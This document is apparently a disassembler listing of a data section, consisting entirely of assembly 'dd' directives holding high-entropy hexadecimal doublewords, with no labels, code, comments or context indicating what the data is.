dd 6C578DB9h, 4A73B5F8h, 12035A5h, 0C9BD23D9h, 6CB9010Eh
dd 9D298387h, 12570B65h, 0E14647h, 0A726D5FAh, 987F178h
dd 0FCE57212h, 258DAF88h, 305DA4BEh, 93C02B4Ch, 7E478FEh
dd 0F7BDD40Fh, 425DC0D8h, 17D22BC4h, 8809810Fh, 0F88A0340h
dd 0E51E97C3h, 0AF09C098h, 0CD5F738Dh, 100FC0B0h, 0BD260BF1h
dd 5E49FC69h, 782EFE13h, 7605D0A4h, 43C14C5Dh, 9D3E07A5h
dd 0D506432h, 0ED293040h, 206AE52Bh, 0FA4BBF22h, 0CD7CE7CDh
dd 0F2D88A12h, 2594B5C3h, 47BD0284h, 0E43DAB4Ah, 4A4D4320h
dd 0BA2F733h, 4C116DBDh, 0E4B9008Fh, 633CF005h, 1D00F768h
dd 0DE91846Ah, 2746ADB3h, 295C555Ah, 1446D6h, 336BBFB5h
dd 5BFF2782h, 92329BE1h, 81EDCCBBh, 0A813CB04h, 94BC361Dh
dd 7D0576A1h, 0B53EE94Fh, 93282EC4h, 60055E65h, 230273FBh
dd 96F13907h, 0E6200BF7h, 5C3A598Eh, 0B413D6ABh, 0EDC00460h
dd 919210Dh, 1102CE3Fh, 2650FE86h, 4E20B245h, 174D6E60h
dd 0F8C8B1D9h, 0C7CC3E2Ch, 899BF980h, 15BE0C18h, 0C3958812h
dd 0BD7703A8h, 0BD841459h, 0AEBD12A1h, 28C18A8h, 0EB7C1F66h
dd 98CAFCADh, 0F893A85Ch, 19237BABh, 0FB505431h, 8F006723h
dd 82E2090h, 0C00F0B5h, 0A226D616h, 7E1E58DAh, 0B6F74ACFh
dd 301AB2C9h, 45057D85h, 0D4FF3447h, 2B759405h, 76612DAFh
dd 0D04EA006h, 3BF602B0h, 5668EC6Bh, 2BAF0B5Dh, 24404472h
dd 0DE0A2404h, 6A09EF17h, 2FC1B69Bh, 2E808E6Fh, 0D9B35BE8h
dd 3BA63796h, 25E35900h, 88234311h, 0DD6D01A3h, 4C964442h
dd 0FB92C38Bh, 0C9BBF590h
dd 792F1171h, 70355B58h, 546067DAh, 0A54E3392h, 1590540h
dd 0B529759Dh, 68AD2B35h, 0EB22C6C0h, 0D4E70BDBh, 1597511Eh
dd 0B3AA403Eh, 0D812E139h, 1317C9BEh, 0B644F1F5h, 0BC77EFFh
dd 4463807Eh, 397800E0h, 0A3C88228h, 0AB5C442Dh, 48DD00DDh
dd 0D611EE35h, 56D0623Fh, 0A275C59Dh, 5C021330h, 6B02F436h
dd 0D2CD3334h, 400C7E5Ch, 13423245h, 77B41725h, 86213AAh
dd 5B132BEDh, 0B71326A3h, 4E22A277h, 0D2C0019Bh, 6A36571Dh
dd 0D816AC4h, 2F1E2DBAh, 0FF167C6Ah, 5812BE29h, 0DB4E61F7h
dd 0E55D8002h, 29C4C65h, 0BC7D12DAh, 8E7B8929h, 0D08A978h
dd 7EC1E2A6h, 42AC6AF8h, 0B4DDA64Bh, 0EB4EE70h, 0A2550289h
dd 7DBD3367h, 0F3D590D5h, 82E24EA0h, 6855FC72h, 7ED18B57h
dd 1DD17BBh, 31780039h, 2AEBBDBFh, 5DAC644Ah, 962A7858h
dd 0B582B2D1h, 156411EDh, 20B54D61h, 0D2AB79F0h, 10B9BDB0h
dd 13C46880h, 0FEF73FC1h, 6339A4C9h, 4918BB1Dh, 0E85561EFh
dd 27423BD8h, 9D5108DFh, 0DE3DB0B2h, 0FB562D4Dh, 25BBD6h
dd 97E92DE6h, 7F4EBC4Bh, 38131E0h, 8AA5F8E7h, 67C99022h
dd 3146DDDDh, 6D0DDCF7h, 0D96E3EF7h, 0F884313Dh, 0D838EB80h
dd 8299E869h, 0CE1804BFh, 9DFFCF33h, 0BE830595h, 615B7A44h
dd 9E06EAAh, 0D6C2A1AAh, 31A53AD9h, 46F64074h, 4BE94D16h
dd 5D356C8Ah, 0BDD1E956h, 7774A93Eh, 0D6250225h, 0C203672Ah
dd 0A0691859h, 0EC437D44h, 0B3124B3Ch, 0B52904DEh, 8EAE0A19h
dd 6A6AF955h, 0D3F10242h, 4DCCE47Ah, 0A6DEE0A1h, 42024068h
dd 0EB81E709h, 0FD00C2F1h, 6E1C3D69h, 30685560h, 3B8B00CCh
dd 15117FEEh, 810126D1h, 2894D9D7h, 283A5F4Ch, 0BD86CCCCh
dd 190F4635h, 462C208Ch, 0BFF6A37Bh, 8A5B6446h, 94C4E1A2h
dd 117AAF04h, 0A3C51D25h, 9A4C9A51h, 0B28B0085h, 6EEF3886h
dd 0D104EEF5h, 0B565BA9h, 5F0988BBh, 64086DB7h, 0F78B6018h
dd 76585866h, 0B2798513h, 55F58908h, 1D44CDEDh, 683A98h
dd 0FAC6FCCBh, 0B01AF848h, 88B2D04Bh, 0B570D600h, 8B3C58E8h
dd 0A5A04B02h, 57422F62h, 7600CFE6h, 877A4C9Bh, 98FF48h
dd 7F94EAE4h, 61AC4BA7h, 994B96E6h, 0E36F4E84h, 5931C26h
dd 0AEDAEDDFh, 0FA80E92Ah, 8F6C6AB5h, 1C48905h, 6684C796h
dd 28BAE985h, 0D78A110Dh, 0DA58353Ch, 37CE418Eh, 69A5E0DAh
dd 0B5891652h, 5F96C279h, 5B11BADDh, 2D5D5008h, 40785C97h
dd 0B164A8BBh, 31CC544Eh, 5E139853h, 0BC7E57D9h, 2701AA9Dh
dd 8BF6C07Ah, 0EFB560D5h, 0A0FEBB01h, 0C2834B1Eh, 8CBC9C39h
dd 3DB8A20Ch, 9731B2A1h, 0BF047D66h, 652A87BBh, 8BC4BCE8h
dd 0D3B5E8FAh, 19C9C0F9h, 53B59D50h, 0CED6D10Dh, 9B009C46h
dd 847995DEh, 4B0FA5Eh, 0E7F531F0h, 0B3288C66h, 8BA51B0Eh
dd 69A1A792h, 0DB5EC720h, 0D97609FCh, 7529304Ch, 40226F7Dh
dd 6E620A9Ch, 10B15203h, 85148A0Fh, 3A5560AAh, 0B398B9DDh
dd 252D902h, 0A4418D89h, 34BF5FFCh, 2FF8341h, 8A70D4Ah
dd 259D330Bh, 45503125h, 0E28873h, 9463C8F6h, 0D60CA176h
dd 66AB538Fh, 0DED94EA6h, 9C3FC419h, 51BD9180h, 0EBD3952Bh
dd 0FC2A187Ah, 0B68480Fh, 0ED126D12h, 0F8F2D254h, 0B3843C88h
dd 5AC96B4h, 570EB0DDh, 0D728BF66h, 2EFBA7FDh, 0DF510F32h
dd 0DE3B96AAh, 79BB8C29h, 0D59D0904h, 6B2FC9A1h, 21823D2h
dd 0D9F7C487h, 0B10B98F4h, 82B7DD23h, 0F61D30AFh, 0C4260BA0h
dd 6E02B464h, 45D70DFDh, 0D38102BDh, 0D15D1D97h, 8373EB9Ah
dd 892A6871h, 0A240D0EFh, 0B8622404h, 0E3E8DA7Dh, 0AB9D89C5h
dd 95C6F5B0h, 0AD402C4Fh, 4E4DD4D7h, 4AD48F2Ch, 1A8A5F9h
dd 6A37F51Dh, 7CCC7384h, 1104904h, 0FFF1D1E9h, 0DCD87EC6h
dd 0B94EB062h, 49D0540Dh, 2C694477h, 1C65856h, 6E115224h
dd 0CCF93F61h, 71606EA9h, 0B9A6953Dh, 12588029h, 77F694E3h
dd 17049A00h, 48BBC66Fh, 37720253h, 60659D11h, 25F5C5DFh
dd 91E32Eh, 0DFAD6283h, 5BFE1D63h, 8227B809h, 0F990615Eh
dd 1ADE05FFh, 9461FBE6h, 0E76E50B4h, 0FAC44AE5h, 0D60091F2h
dd 97541B94h, 29348F0Ch, 93F8587Fh, 0E850B95Fh, 0CF100EADh
dd 9341B582h, 6DFC6A65h, 147BE84Eh, 0D55CDF40h, 4CD6A909h
dd 0DEEB864Dh, 0A8E02563h, 900BFD8Ah, 445007B7h, 0FAB060B9h
dd 0EC7A0B3Ch, 0C0D24900h, 120AACDEh, 62C2018Dh, 90B38F36h
dd 0D76F7F6Ah, 8061B302h, 5640752Ch, 66800F35h, 76A475BBh
dd 0ED7288E8h, 23358709h, 0B6C3D01Ah, 0EDF812B5h, 8C1BAC11h
dd 1CFE50Eh, 4EDB006Fh, 0A22B601Dh, 587A7DAFh, 618101ECh
dd 0FC1DE92Ah, 6ADE02D6h, 0B0D89347h, 1040C7FCh, 41A509h
dd 97668C0Eh, 0BF883F3Eh, 11950109h, 4D647A0Ah, 0FE13A9D1h
dd 8DBBA2FDh, 4E1A4F9Fh, 400BADC7h, 4DEEF97Ch, 76028179h
dd 6A616FBBh, 70D07B02h, 0A2A19CB2h, 51A52F31h, 0FA49ED6Ch
dd 0B5B52EBCh, 811D9184h, 0B1104F0Ch, 0FDC75280h, 0B70FAC51h
dd 7F80F95Eh, 9D50E9EEh, 0B321E01Ch, 1917F1D6h, 48B8AC2Eh
dd 0FF4CC956h, 810EBB16h, 0A9E22ACBh, 144F5722h, 397F06E0h
dd 41E307D5h, 0B174965Ch, 7D91BD29h, 18B771B9h, 39C5CE9h
dd 0D13D28CAh, 97A8549Eh, 9C984280h, 0C4D88B27h, 78A49B97h
dd 0BA2DF30Eh, 20BBF09Bh, 0E7AA3119h, 46DC0B74h, 6E180F19h
dd 0D10DEE88h, 8086DBD7h, 6203801h, 51D2708h, 3DDB256Ah
dd 0B995ED0h, 75D54383h, 350C98F6h, 2DFF511Ch, 0EFAB9D2Bh
dd 0C99D102h, 32A3DFDh, 6901C12Fh, 0EACDBB98h, 0DB1BB19Dh
dd 0BE03AF14h, 80B03B02h, 4EE6D98Ah, 9B5F1870h, 0AAC571E4h
dd 32BE0229h, 5829BA5Ah, 190B9DDEh, 97F6C45Fh, 70498E54h
dd 0D50BBD10h, 29C06A76h, 8C1A5D85h, 0E697ABDh, 8C34CF81h
dd 2EBB0FA0h, 474ACAACh, 9D08C4ECh, 0CA4E05E9h, 0BB004773h
dd 9D295515h, 23096445h, 3EE8A985h, 2AD11333h, 66E0AB2h
dd 0F4D9AB12h, 2C21628Bh, 3A96866Ch, 5178A68h, 0A35653h
dd 0FE16027h, 2B50031h, 5CD1BD61h, 3735BB61h, 17F8643Ah
dd 0FD10BE91h, 410A5058h, 40E2135Bh, 1452F284h, 31D12A5h
dd 0A9B5ADECh, 1E5B85Ch, 0FE6AAF83h, 48870FC2h, 810060E9h
dd 0C4463E9h, 2761FC1Ch, 130720B9h, 0BD031157h, 5B2D34EDh
dd 0DE845F4Eh, 0F8E078E6h, 918FCEDh, 2B53C19Dh, 6973BFC0h
dd 12754278h, 0A8BB9759h, 68FA928Ah, 7905FE0Bh, 0C99D231Fh
dd 0EF3110F4h, 8B920BC9h, 0E06DB6D2h, 22F9FA91h, 5D7811E9h
dd 0E6FB3D00h, 48D140Ah, 55A98F0h, 0B9053FF1h, 307FBE2Ch
dd 48001C23h, 56E02E88h, 1DB116A9h, 2FD049F4h, 0B3465Fh
dd 1C7B9926h, 66629288h, 33D49D00h, 17E15EEDh, 0D7940BC2h
dd 5182ADF5h, 0D1290D89h, 8D123E44h, 3D31A1BDh, 8C1CAC42h
dd 5737D800h, 54394C70h, 0ED514AADh, 851CADDDh, 184C1D21h
dd 1C651C79h, 17F1E531h, 9D10E178h, 82464ACFh, 20352044h
dd 0D94E8C90h, 743876CAh, 0A073A75Bh, 31BB3872h, 0D16C9DCAh
dd 8CF93A2Eh, 0A06EF6D6h, 4948666h, 318D898Bh, 0C9DCEE30h
dd 0B5092560h, 61780475h, 0BE0800AFh, 0BE9E1FFh, 991988h
dd 0F1ED4C04h, 7C2BD2E2h, 71CA774Eh, 4804A110h, 295B7286h
dd 0A984F3B3h, 0C7AFE04h, 0D741AC00h, 0CCA14C98h, 2F5AA13h
dd 418559B2h, 49B7B04h, 861CF9EAh, 482DAE8Ch, 59008D68h
dd 16A136ECh, 0DC00F751h
dd 0A6D6963Eh, 0C6B190h, 27DF8105h, 5B319935h, 476E605Eh
dd 1DEC5C13h, 0B229D3CCh, 0CBCE407Fh, 7DC4B34Eh, 2A41B204h
dd 880732BEh, 8F17911Fh, 68F3C5B9h, 0C9E39AABh, 26FE3017h
dd 6BEA2505h, 4924CEC0h, 5543A99Dh, 9800D33Dh, 0BF38BA3Eh
dd 92182C74h, 0BCBD139Fh, 0BCA19329h, 9B3E7471h, 0BEE482DDh
dd 0CD42E0BDh, 6BDD3D0Ch, 5FDE56E1h, 0ECCC3B6Ah, 1093011Fh
dd 2E3588B5h, 3D293B4Bh, 0DFA2C705h, 605B8476h, 8A00B5B8h
dd 925EBBD8h, 3BF52C79h, 38B75244h, 3EA3EBh, 0A5C996BBh
dd 73206501h, 6F8B97ADh, 0BB66217Fh, 0A13BC4DEh, 0DAA10902h
dd 0B5DCDDFEh, 6E97186Eh, 4E5BB01Dh, 3987ADFDh, 0D2AD4E85h
dd 43003AECh, 49B908C2h, 1611F865h, 105B5038h, 0FD5B98E9h
dd 331BC5Ch, 23336241h, 0C44A7D78h, 1CACDEE9h, 0C713008Ch
dd 4C7FB3D0h, 0BC4EDB1Eh, 0C13B11CDh, 2F3E351Dh, 4FE3598h
dd 0A6D48EBFh, 2E99EF2Ah, 9D89F9F0h, 387853FBh, 36870298h
dd 0E3DD14DAh, 0F9C84D5h, 23D76FBFh, 8F823915h, 8CC2BF66h
dd 0F80BAA74h, 959FC650h, 29093844h, 0D113A1BDh, 0ED56699Dh
dd 0ADA348D4h, 0DBAD03A4h, 8022AF56h, 8BF54F01h, 10522DF6h
dd 0F57A586h, 4FFEA14Eh, 914C6880h, 50F46476h, 1C134102h
dd 40260CA0h, 0BBB51A2h, 0E3D2002h, 6F500BE1h, 900A5A3h
dd 0A22EDA90h, 2B05EBD2h, 0CB8BAD97h, 0D12481ACh, 627969DFh
dd 2AF1A502h, 0B7D07569h, 0E2E41001h, 0BFD2F207h, 128164ECh
dd 0C28B5F4Ah, 0DE44F8C6h, 0F21D909Fh, 722A1DE0h, 0DE200348h
dd 4E90D68Ch, 0DB045508h, 587F594Dh, 0D0C0F6DBh, 0BF10365Dh
dd 37E30102h, 55858D6Ah, 2B0005BFh, 14E77DAh, 45ED2DF8h
dd 3B0B505Ch, 0F9698405h, 4860BD52h, 9E017FD4h, 9626920h
dd 5FC235BDh, 0CC7DB23Ah, 40BD7D59h, 29096131h, 7C045185h
dd 0E8D4DA57h, 8BF016D4h, 0B031D4FFh, 0F195080Ah, 6751CE5Fh
dd 0DDDB42E6h, 0EF812890h, 0A3277A09h, 426D7746h, 1E319F76h
dd 0C0C02F5Eh, 134F09FAh, 22715B7h, 859D010Eh, 0D9CC90FDh
dd 9995882Eh, 2AE3055Bh, 2DBC3E8Fh, 2DEFCDEh, 0FB2F517Eh
dd 3DF40B88h, 20B4414Fh, 0F8C8B522h, 4CF53D94h, 8AD51543h
dd 0DB0ADCFAh, 0EF58F75Bh, 0D7BDB704h, 23A9A800h, 5D1EA16Eh
dd 1A4C5696h, 0B201B804h, 6499EF7Eh, 3267402Bh, 914A1D17h
dd 0DA9DE400h, 80222DA9h, 25DFE427h, 86F35FDDh, 6A191D59h
dd 44C0F5ECh, 0B589BBF1h, 4E331127h, 8FD3B57Ch, 42E6E5Ah
dd 0F96BC98h, 0D231EA80h, 0E1707E9Ah, 0DEE016BBh, 1F6F96h
dd 0DC943161h, 0A5E66A5h, 0FC8ADE24h, 81F5C0ADh, 47136ADFh
dd 0DAAE4A29h, 0B01D8B8Fh, 79DB0Bh, 0ADE21A12h, 3BC0955Fh
dd 89295B9Dh, 287E1549h, 18CD575Ah, 0E8C01B43h, 58F02684h
dd 3BC03617h, 0BD67A944h, 90E01800h, 0FC66A36Bh, 33862F53h
dd 0CE48D45Eh, 1716D726h, 76DB2DBBh, 80D3A317h, 13594E5Fh
dd 0A124027Ah, 41DC2F6Ah, 0DED80381h, 0FC246434h, 92E480E0h
dd 96A0C602h, 77903950h, 0B852B8F3h, 120DC52Bh, 415DBD8Bh
dd 0D5B5095Ah, 91E22B2Bh, 0EBCA0B3Fh, 58F1DE12h, 0FEB8063Dh
dd 3874CAFDh, 6E458A40h, 0D3C40773h, 0E1823B5Fh, 2B149BDEh
dd 0BD4F90E7h, 7A3A8D1h, 5A01A0C7h, 0F7E36356h, 22C5E412h
dd 2B75C697h, 96E874BEh, 0E39B722Eh, 26B50D78h, 24B3363h
dd 0E8E6E584h, 0C50075C6h, 41C9764h, 848A21h, 0CC0212B1h
dd 0F380067Dh, 315B4F02h, 0F7281D8Dh, 0BD0DF645h, 12119A5h
dd 0B5D529C2h, 831B91AAh, 0A81C8521h, 58458DE7h, 0DC4C3A57h
dd 0C060AD5Ah, 5E7F353Bh, 989E4A83h, 96025FECh, 86F36DBBh
dd 25797714h, 0A7118100h, 0B13F7Dh, 604CA9DBh, 0B7539635h
dd 0F65BF038h, 0DC71B6h, 0D614A51Ah, 4ABF94C4h, 23AEA215h
dd 789C46E0h, 0F4C8FA5Fh, 0C84000AEh, 412F77F1h, 0FB01F670h
dd 62BD21A1h, 0F93A9A97h, 612FA96Bh, 3A0CAA6Eh, 0E141B728h
dd 0A05EB72Ah, 658B6978h, 8C9604D8h, 0BA00E371h, 0F31ACD6Bh
dd 0B81A906h, 0A6DF0AD3h, 0D4860700h, 965C505Fh, 0B80105A9h
dd 8E1265F6h, 5803DDFh, 0C1F56377h, 2948F04h, 0DBE91A2Eh
dd 0F8C1AACh, 757AAA2Bh, 372E7E0h, 94899BDh, 4E04A583h
dd 0BCE91395h, 1B30FED6h, 9D15EF80h, 6245C014h, 1289FE41h
dd 4AB38B6Fh, 0BF80389Ah, 4CEF26CDh, 81146E04h, 0BCE88290h
dd 0B7BC544Dh, 19D81202h, 55EBA5BBh, 2ADBD2B0h, 78F1EC13h
dd 0E7D1CAA3h, 611F2EACh, 52C0C675h, 0B173519Ah, 9C8EE60h
dd 8FA41F9h, 0FC7B0844h, 2E55ED0Fh, 6E88802Bh, 2BB6178h
dd 33F6C901h, 95F12E9h, 0C20118BCh, 0A7A90084h, 62AFABC5h
dd 0B22DB821h, 40C4F045h, 8B4B5B05h, 41E220EFh, 6D00ADF8h
dd 826ED237h, 4B71285Eh, 0B29DE6E5h, 0A08C3016h, 90FC1C12h
dd 3680D5E8h, 0BE655F3Dh, 51EB99B5h, 10A275EAh, 377790D9h
dd 857525DDh, 67C2B240h, 54ED5F59h, 64601A44h, 6F094194h
dd 2CB95C0h, 0CF8A18F3h, 0CDEB6058h, 605A29Ah, 0C838D97Ah
dd 0E8ABB202h, 0DEFA5E4Ch, 0F1807C01h, 51B53BFh, 4195E520h
dd 0D5F02A19h, 4CD49F14h, 0EE19597Eh, 34809980h, 775ED7F6h
dd 508DA981h, 0A46E203Bh, 9D02D6CFh, 5241B44h, 0BD997030h
dd 8509F55Bh, 2DBD56EDh, 9BD0EDF3h, 2BD140D6h, 1F01BD12h
dd 904DDBAEh, 0F998C02Ch, 7121BFD2h, 0FC7D4BA3h, 99ED1348h
dd 0F84DCAA2h, 0AC001CE8h, 2C1A7CA0h, 4C609B37h, 88709057h
dd 0BA00665Ah, 0FF615E88h, 9E381D1h, 690B54F0h, 0DF44C2D1h
dd 0C41C9EBFh, 1CC49018h, 0B77BE3E1h, 533BA0CCh, 0C41C0B57h
dd 8B5FF4EAh, 351857F0h, 3D008671h, 7EBA2C6Fh, 7501F7DCh
dd 274717C7h, 0B1450452h, 0CB8DFE9Ch, 971B0620h, 0B6806173h
dd 0B7CC7C72h, 0C5942508h, 0C464CE79h, 775FFB82h, 0DCE1AEEDh
dd 6278D375h, 96944383h, 16CDAFD8h, 0BF595501h, 1BE19098h
dd 0C267646Bh, 18291183h, 354AEA7h, 0ABEEEFB8h, 0C7C0781Eh
dd 292D5945h, 2DAE5A9Dh, 5DF913E9h, 1D98B5C7h, 60B1A4B7h
dd 46B6DA88h, 25CAD19Fh, 8B008337h, 61755AE6h, 0B013EA32h
dd 304D20CEh, 12EE1198h, 52207C97h, 0B150DA7Bh, 4C8B2DFFh
dd 7F00A6F1h, 3079D9FDh, 0B3F3937h, 8791BF01h, 3BCFDF69h
dd 0EE9BDD53h, 0D7509480h, 0B409FC61h, 21067F2Dh, 777F7E2h
dd 96D1FD3Ah, 0C8E25517h, 0E110C309h, 3549E6D1h, 465B8094h
dd 0FEF7B3E8h, 5ABF9DB8h, 0AE56B71Fh, 0A71BB3D4h, 793FA753h
dd 0F98BBC04h, 79DBFF6Ah, 0E3E931C0h, 79129D09h, 8DBE480Eh
dd 0A6A07BD9h, 0B5BFC22Fh, 3D570E25h, 0C04A1FCAh, 2F93EC64h
dd 6FED654Dh, 7352C20h, 21D39DFh, 84B74B75h, 5FF5B080h
dd 6B29B09Dh, 0B5998301h, 0EA76C39h, 16B0DE8Ah, 0C000E6A2h
dd 188258FEh, 0BF00A4DFh, 0AC74DF1h, 970E65Bh, 71E4D2B3h
dd 0CE2F9051h, 3F2F9DDCh, 3E746F1Ah, 0BD02C86Eh, 105FFEA5h
dd 10F7E7A9h, 0A583B2Bh, 9AF9BD0Bh, 0E50999A6h, 0F93EDAC7h
dd 9ED0AF14h, 83B461C3h, 0DCFBEBB0h, 0CD35F824h, 0FB21C10Ch
dd 853BA0EEh, 9F4C7144h, 42274AF4h, 0E431h, 0AA48EC4Bh
dd 933E2379h, 76020179h, 819D2B6Eh, 0C2362D04h, 383671h
dd 9B80864Ah, 4D7AAE6h, 7FA85A3Bh, 2D5BED6Bh, 8041FB4Dh
dd 3DA0730Ah, 1C007619h, 0F288FCB5h, 202371Dh, 55AA2C3Fh
dd 808091C5h, 0E95F81EDh
dd 313D8A64h, 608D22AAh, 0B3FB44A0h, 833E1238h, 0B95B0132h
dd 571E30AAh, 4580836Ch, 0E01170B2h, 998D1301h, 61169B10h
dd 8291353Bh, 5377397Dh, 8DEA572h, 267E44C0h, 726427DAh
dd 3844A064h, 0E9F69589h, 91A24CA7h, 7E4080CCh, 0B5389C0Ah
dd 97DD2012h, 97D19D10h, 31277DF3h, 0D8E5A95Fh, 283BFB2Eh
dd 644112B9h, 0BC78E93Fh, 869213A4h, 4AD2B718h, 0B100B56Ah
dd 0E50E9879h, 5902F0A8h, 0B52951C4h, 3F84F071h, 0B5F087B9h
dd 749D0D66h, 73A04EA8h, 0E02D2768h, 1BEE5F06h, 9D1A51D6h
dd 78B7DC2Bh, 3B81C11Fh, 0F46EECD1h, 0B461B520h, 0A07FA596h
dd 0B509FCA0h, 99274E65h, 82D5404Dh, 43123046h, 8ABBD22Bh
dd 8E0FF1EFh, 6A8A6Bh, 0BA0F17Bh, 6371FEh, 99C4614Fh, 7F1FDF39h
dd 6D321827h, 28EDA7C0h, 62479340h, 0B6C71309h, 0AD950429h
dd 0C0039E03h, 0E910174Fh, 65BE055Ch, 401C3797h, 2AA7B86Fh
dd 0D9EACE4Fh, 3A6DEE00h, 2601F467h, 0AF40262Bh, 0B7EB0571h
dd 2909EE41h, 24E2D9D4h, 0AB951372h, 27803628h, 0C16E0AF3h
dd 0ED479B6h, 0AD38E476h, 0B1BE9021h, 0AF71EE84h, 2FFA3700h
dd 9C7228Ah, 0DF55E4C9h, 65AC17F5h, 0E7A46018h, 944CEC37h
dd 0C3824F82h, 51CB76DEh, 23831462h, 0B8FD27A5h, 0D9F0647Bh
dd 1907284Fh, 0E4127B7h, 7EB7AB6Eh, 0E1FF42F9h, 5D7068FBh
dd 0E6EF01E0h, 0FC199376h, 0B9293B0Ch, 7A6B04E9h, 0FF8525BDh
dd 2A825B29h, 60D5E761h, 820A6DCFh, 4E3E805Eh, 0EA37E3CAh
dd 0AB82646Dh, 3800488Ah, 5BD92F9Fh, 33E4FF40h, 655C1927h
dd 25911DD4h, 0C0D0B8FBh, 9D0B2FC9h, 6084095Ch, 97EDF88Bh
dd 844E2858h, 0E0C9A696h, 0BC127CCh, 33B55D49h, 1F15E09h
dd 77F8B709h, 0C2B735CCh, 763EAB2Dh, 1C46D6F0h, 82F60625h
dd 86BCFAC4h, 0B1C4A813h, 0C09E3FA7h, 415608C0h, 0EF5080D9h
dd 0C94BB3A6h, 7CE21712h, 0C3393500h, 0EC10F4B8h, 75F39F17h
dd 0C45BCFF3h, 0B84281ECh, 0C9292FBEh, 1B00A163h, 9F4A6B69h
dd 1700DF01h, 0AF6B1A0h, 171448BFh, 0FF5F4339h, 58CE530h
dd 4E8805E8h, 0EA1FBDECh, 2FE8D32h, 0E4417B3h, 585B5312h
dd 0BB2F816Fh, 5644D256h, 14D28280h, 8D09095Bh, 487B30D9h
dd 110988A6h, 0A481DB04h, 87E761E0h, 9001EC6Fh, 56A2025Bh
dd 9D17FC90h, 0CC49BE21h, 21F2BB0h, 0F716A104h, 6CE83FEDh
dd 0C1C92A60h, 722EA1Bh, 0BB04F781h, 5BD96913h, 132F5EADh
dd 2629EA09h, 9561302Ah, 0E5971A81h, 95DEA536h, 0A95726D4h
dd 75BD0E30h, 56E47610h, 0CD1499E3h, 4CC65F5Dh, 1C0364A0h
dd 0B960070Bh, 32204391h, 83808438h, 0AF2A074Ah, 0BE09AB00h
dd 0EE917488h, 236E13F5h, 6B63B161h, 4317AC6Eh, 0EEDC244Dh
dd 33137617h, 2BCB51AEh, 105D6ACh, 9EC951B0h, 19E8FBAh
dd 0DAEAAEBFh, 0E8D86867h, 40BB42Dh, 56178B0Fh, 41838DA8h
dd 8EFAADA7h, 4C51E154h, 0E983C82Ah, 0BD331060h, 0F8C154h
dd 4A383B2Dh, 0E658922Eh, 0D6C91909h, 40427E27h, 6FF11B40h
dd 139FB7B5h, 4A2EB211h, 9BBCB9BDh, 943A602h, 1121DD9Dh
dd 0A2241007h, 2662E020h, 92645C7Ch, 0F8DC62F9h, 0D84A4155h
dd 0F5162C3Bh, 0B7F89497h, 69B71FA0h, 639E58E9h, 9D8806F6h
dd 8671CC56h, 0A4ED8D5Fh, 9672E892h, 7805ACh, 0A701D770h
dd 512CAAEDh, 675B5F27h, 1F995C24h, 0AC008A9Ch, 7BBEFAC4h
dd 52B425FBh, 6F035AE4h, 0D4C9D748h, 0C737A84Fh, 231C0084h
dd 9EBB6B73h, 1824EAC0h, 0BF0B5A5Bh, 80A1B7DEh, 0F77DAFCCh
dd 0E4143A18h, 25B9748Ch, 6DAEF1D8h, 6AA92F5Ah, 384CD0BDh
dd 1B06C502h, 4567B48Eh, 579A9A29h, 25C67BD7h, 81ED985Dh
dd 277FE8D7h, 0EF467BF6h, 719D2309h, 0C096F615h, 62E89F1Bh
dd 85651400h, 0C70E4A98h, 8F0702E5h, 763D57FAh, 77273D74h
dd 3FFE1630h, 3807480Bh, 5DEB02F6h, 85762B14h, 2DEA1813h
dd 819A2A73h, 65B10181h, 81976090h, 7256CDCCh, 6B2945D9h
dd 0BB3F19B6h, 48B0C526h, 0D0BFDEFDh, 4C16E281h, 0C9251812h
dd 0B9D2BFD7h, 6AC66C00h, 1E6446DFh, 21D4A34Eh, 0F07AB6EAh
dd 9D421E6h, 5AD506A7h, 2936B8F5h, 0B1FBBD2Fh, 0C0F3747Ah
dd 0AE1265CBh, 8D54D902h, 4AAAC5C4h, 7DBD613Eh, 0B84E5DC2h
dd 49F16E95h, 0F65F1009h, 301AB228h, 7F00564Eh, 3752CCC9h
dd 4EB18509h, 41D68901h, 2E286940h, 8D82E9ECh, 0BF000B9Dh
dd 4B77EECEh, 856FA95Fh, 0C0E9B886h, 0DB0BC2ECh, 6071E680h
dd 0DD1E8E21h, 22BFC44Ah, 3C2099F4h, 541B8B80h, 0ECF5D2BCh
dd 5BF0B02h, 6BE49609h, 37349F03h, 882AC893h, 1288CB74h
dd 0C85003FBh, 0D01C92A4h, 60400A54h, 0FAA4D1C3h, 0E6965B9Eh
dd 3114B2DCh, 0A073CCh, 0F06D3CBAh, 74D56A54h, 0BA07656h
dd 1D6F941Ah, 0BB353075h, 8A354EB1h, 3392210h, 0BB96DF8Bh
dd 598A2CBAh, 4141CBD7h, 0A02E41FAh, 0D51C8677h, 0DE40F1DAh
dd 0D8849313h, 0AD8C3FCBh, 3F96C90Bh, 0A51741C4h, 80BBA82Ch
dd 0D1B50928h, 0F02D51B4h, 81CF9D95h, 0FDBF7BC0h, 78601399h
dd 405A310h, 591BD23h, 23716FBEh, 0E0212D1Ah, 783D0CADh
dd 1FF880D9h, 7B6CDA9Eh, 0CAA248DFh, 8709BB4Bh, 1E13D35Fh
dd 810FA28Bh, 695EF6E3h, 4416D168h, 0B071F734h, 2D80D803h
dd 0FBF02B3Dh, 0C635B997h, 0AB4B0C32h, 86F86D16h, 0D79116BAh
dd 0CD10D7E8h, 7E5B2D0Bh, 0C18B42EAh, 1446B757h, 0B93DAC55h
dd 4F62F7DBh, 489061E0h, 0A1C0ED53h, 0C740D397h, 60CC3700h
dd 0F732D8B5h, 0E0FF5B87h, 0F995805Bh, 4FDA40B9h, 0C40B1F7Eh
dd 0FCC8F6CFh, 4725DE3Dh, 2FC654BBh, 4481478Eh, 0DE1FAC10h
dd 30DDBCA2h, 0F9086481h, 0C7E62A4Ch, 80FC28F0h, 0E217CB25h
dd 72395B69h, 2549F95Fh, 0CE773764h, 11F1FA00h, 9983CF77h
dd 63F700FEh, 0B94CF075h, 251C7305h, 0F495F50h, 203CC68Eh
dd 90250235h, 6F657650h, 0C06EFF13h, 5EA9702h, 0CE7585A6h
dd 120D4F7Bh, 0A043F7ECh, 0B46D18h, 4528A29Ch, 9D330344h
dd 24126927h, 0D2ECA161h, 8E070493h, 0D2B3BD70h, 0FA0D3A6h
dd 9801AF01h, 774DE174h, 93A5F9Bh, 38F509D4h, 9EF88B37h
dd 36694054h, 0C901A304h, 3FCB1988h, 1BD4787Fh, 6E8F05BBh
dd 0D2D1FF55h, 0DF0B270Fh, 0B7766303h, 0A2A3BCCCh, 0A9EC2C99h
dd 97022F44h, 48C03A4Dh, 4BB6DF9Ah, 6459B8B1h, 0F3AE906Bh
